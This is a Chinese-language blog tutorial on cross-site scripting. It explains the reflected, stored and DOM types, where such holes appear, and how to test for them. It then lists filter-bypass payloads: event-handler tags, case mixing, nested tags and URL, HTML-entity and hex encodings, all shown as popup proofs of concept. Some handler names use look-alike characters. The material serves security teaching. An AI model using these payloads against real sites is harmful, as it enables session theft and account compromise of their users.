xss漏洞简介

月敛苏时意

已于 2024-05-11 23:31:38 修改

阅读量994

点赞数 37

分类专栏： #常见漏洞简介文章标签： xss 前端

于 2024-05-04 20:21:56 首次发布

本文链接：https://blog.csdn.net/qq_74342020/article/details/138438754

版权

#常见漏洞简介专栏收录该内容

12 篇文章 0 订阅

订阅专栏

（注：若复制注入代码攻击无效，请手动输入注入语句，在英文输入法下）

漏洞简介

跨站脚本（Cross-site scripting ,简称 XSS）是一种经常出现在Web应用程序中的计算机安全漏洞，是由于web应用程序对用户的输入过滤不足而产生的，是代码注入的一种，XSS就是攻击者利用网站漏洞把恶意脚本代码（js脚本代码，CSS样式，或者其他意料之外的前端代码）注入到网页中，当其他用户浏览该网页时，就会执行其中的恶意代码，对受害用户可能采取Cookie资料窃取，会话劫持、钓鱼欺骗等各种攻击。

漏洞可能出现的地方

有提交数据的地方，且输入的数据可以返回到前端。

重灾区：评论区，留言区，个人信息，订单信息等。

针对型：站内信，网站即时通讯，私信，意见反馈等

存在风险：搜索框，当前目录，图片属性，自定义头像链接等。

漏洞危害

盗取身份信息，窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等。
未授权操作，通过JS发起敏感操作请求。
按键记录和钓鱼。
更广泛的蠕虫传播，借助网站进行传播，使网站的使用用户受到攻击。
劫持用户会话，从而知悉任意操作，比如弹窗跳转、篡改页面、网页挂马。
总结：简而言之，就是所有js能做到的事，它都能做到。

XSS类型

反射型XSS

反射型XSS，又称非持久型XSS，攻击相对于受害者而言是一次性的，输入的内容不会存到数据库中（输入内容会直接返回的参数都可能存在反射型XSS），攻击者诱导受害者点击包含恶意JavaSctipt代码的 URL，当受害者点击这些精心设计的链接后，恶意代码会直接在受害者主机上的浏览器执行；恶意代码并没有保存在目标网站，而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。

反射型XSS的攻击流程图下图

存储型XSS

存储型 XSS 是指应用程序将存在 XSS payload 的数据未进行过滤检查便存入到数据库中，当下一次从数据库中获取该数据时程序也未对其进行合法性校验，直接将其展示在前端，页面将会执行XSS

payload攻击用户。

存储型 XSS 的攻击流程图下图

DOM型XSS

DOM 型 XSS 不与后端服务器交互数据， payload 不会存到数据库中，也属于反射型的一种，通过 dom 操作前端输出的时候产生问题。

DOM型XSS的攻击流程图下图

检测方法

寻找可控参数，URL中，提交的表单中，cookie等
在可控参数中添加JS代码，发起请求。
请求后在响应包中查看恶意代码是否被原样返回到前端页面（一般使用JS弹窗）
若存在过滤，使用测试过滤字符：";--"=&{()},笔和得到完整的js代码。

绕过手段

前端绕过

抓包重放，或者修改前端代码

替换关键函数，标签

有时候后端的过滤，编码只针对关键函数，如script，alert,因此可以采用一下方法绕过

1 、替换弹窗函数

<script>confirm ( 1 ) </script>

弹窗函数：

alert 弹窗：普通弹窗提示

confirm ( "" ) 弹窗：判断是否操作

prompt ( "" ) 弹窗：可以输入内容

window . open 自定义弹窗

2 、使用 js 指令

<img src="x" οnerrοr=alert(1)>

<img src=x οnerrοr="alert(1)">
<img src=x οnerrοr=eval("alert(1)")>

3 、其他非黑名单标签和事件

<img>标签

图片加载错误时触发
<img src="x" οnerrοr=alert(1)>
<img src="1" οnerrοr=eval("alert('xss')")>

鼠标指针移动到元素时触发
<img src=1 οnmοuseοver="alert(1)">

鼠标指针移出时触发
<img src=1 οnmοuseοut="alert(1)">

<input>标签

<input οnfοcus="alert('xss');"> #竞争焦点，从而触发onblur事件

onblur事件

<input οnblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发

<details>标签

<details οntοggle="alert('xss');">
使用open属性触发ontoggle事件，无需用户去触发
<details open οntοggle="alert('xss');">

<svg>标签

<svg οnlοad=alert(1)>

大小写绕过

一般后台对输入进行过滤有两种方法，以下两种方法可以用大小写混合的方式进行绕过，而后端是不管大小写的，可以正常执行我们的语句, 大小写方式如下

< ScRipt > Alert ( 1 ) < /SCRipt>

< IMG srC = '' onerror = alert ( 1 ) >

混写绕过

拼凑绕过：后端会对我们输入的标签进行替换，但只替换一次，所以可以这样

< scri < script > pt > alert ( "hello world!" ) < /scri</ script > pt >

这样经过后端的替换之后就会变成：

<script>alert("hello world!")</script>

编码绕过

即对我们的payload进行编码，如URL编码，HTML编码

针对 < script > alert ( 1 ) < /script>

1 、 URL 编码

% 3 cscript % 3 ealert ( % 271 % 27 ) % 3 c % 2 fscript % 3 e

2 、 HTML 实体编码（可部分可全部）

< script > alert ( & quot ; 1 & quot ;) < /script>

3 、 UTF - 16

\ x3Cscript \ x3Ealert ( 1 )\ x3C \ x2Fscript \ x3E

4 、其他

八进制编码、十六进制编码、二进制编码、混合编码、 base64 编码、 Unicode 等